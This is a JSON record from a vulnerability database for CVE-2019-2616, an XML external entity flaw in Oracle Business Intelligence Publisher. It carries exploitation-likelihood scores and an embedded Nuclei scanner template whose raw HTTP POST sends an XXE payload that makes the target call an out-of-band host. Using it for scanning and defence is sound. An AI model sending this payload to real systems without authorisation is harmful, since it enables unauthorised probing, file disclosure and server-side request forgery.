{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-2616/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-2616/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-2616/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-2616/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-2616/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-2616"},"sightings":{"href":"/api/v1/sightings/cve-2019-2616"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.92183,"kev":true,"percentile":0.99819},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-2616.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2019-2616\n\ninfo:\n  name: Oracle Business Intelligence/XML Publisher - XML External Entity Injection\n  author: pdteam\n  severity: high\n  description: Oracle Business Intelligence and XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 are vulnerable to an XML external entity injection attack.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server or conduct server-side request forgery (SSRF) attacks.\n  remediation: |\n    Apply the necessary patches or updates provided by Oracle to fix this vulnerability.\n  reference:\n    - https://www.exploit-db.com/exploits/46729\n    - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-2616\n    - https://github.com/ARPSyndicate/kenzer-templates\n    - https://github.com/Ostorlab/KEV\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2019-2616\n    epss-score: 0.92183\n    epss-percentile: 0.99819\n    cpe: cpe:2.3:a:oracle:business_intelligence_publisher:11.1.1.9.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: oracle\n    product: business_intelligence_publisher\n  tags: cve,cve2019,oracle,xxe,oast,kev,edb,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /xmlpserver/ReportTemplateService.xls HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n        Content-Type: text/xml; charset=UTF-8\n\n        <!DOCTYPE soap:envelope PUBLIC \"-//B/A/EN\" \"http://{{interactsh-url}}\">\n\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n# digest: 4a0a00473045022100a952d549dc4311e4f65021631a29b410ee35df1d0c31f81d243557f07803807a022022866307fd1061a314647aeadca5b16fdaebdfffe0f8d077fd9efc6744c0f99c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-2616"}